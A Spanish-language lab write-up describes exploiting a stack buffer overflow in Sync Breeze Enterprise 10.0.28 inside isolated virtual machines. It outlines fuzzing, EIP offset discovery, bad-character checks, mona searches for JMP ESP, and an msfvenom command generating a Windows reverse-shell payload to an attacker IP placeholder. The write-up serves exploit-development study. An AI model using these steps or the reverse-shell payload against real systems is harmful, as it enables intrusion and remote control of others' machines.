
Estudio de una vulnerabilidad clásica de desbordamiento de búfer basado en pila en un entorno de laboratorio controlado con fines educativos.
Estudio de una vulnerabilidad clásica de desbordamiento de búfer basado en pila en un entorno de laboratorio controlado con fines educativos.
El objetivo de este proyecto era comprender mejor:
El primer paso consistió en instalar
Sync Breeze Enterprise 10.0.28
dentro de una máquina virtual Windows 10 configurada para la investigación
de vulnerabilidades y el desarrollo de exploits.
El entorno fue aislado para garantizar pruebas seguras y controladas.
Ambas máquinas virtuales (objetivo y atacante) se configuraron usando el modo Adaptador de Red en Puente (Bridged Network Adapter) para permitir la comunicación directa entre los sistemas durante el proceso de explotación.


Se configuraron herramientas de depuración para analizar el comportamiento de la aplicación durante la ejecución y observar las condiciones del fallo.
Se enviaron grandes secuencias de bytes a la aplicación con el fin de identificar el tamaño aproximado de búfer necesario para provocar un fallo.
Tras identificar el umbral de fallo, la aplicación se probó nuevamente usando el tamaño de payload descubierto para confirmar la vulnerabilidad.
Se identificó el desplazamiento exacto necesario para sobrescribir el Puntero de Instrucción (EIP).
Generar un patrón único:
/usr/bin/msf-pattern_create -l <SIZE>
Identificar el desplazamiento:
/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>
Donde:
<SIZE> = longitud del payload descubierta durante el fuzzing<EIP_VALUE> = valor de 4 bytes observado sobrescribiendo el EIP
Se identificaron los caracteres malos para determinar qué bytes no podían ser procesados de forma segura por la aplicación.
Se localizó una instrucción JMP ESP adecuada en un módulo sin ASLR
habilitado.
Enumerando los módulos cargados:
!mona modules
Buscando JMP ESP:
!mona find -s "\xff\xe4" -m <MODULE_NAME>
Se dio preferencia a DLLs específicas de la aplicación debido a la presencia de direcciones de memoria estáticas.

Se validó el flujo de ejecución del payload para garantizar la correcta redirección al búfer controlado.
Se generó el shellcode excluyendo los caracteres malos previamente identificados.
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c
Se añadió un sled NOP (\x90) antes del shellcode para mejorar la
fiabilidad de la ejecución del payload.

El exploit final se ensambló y probó con éxito dentro del entorno de laboratorio aislado.
Este proyecto fue desarrollado estrictamente con fines educativos y de investigación dentro de un entorno de laboratorio aislado.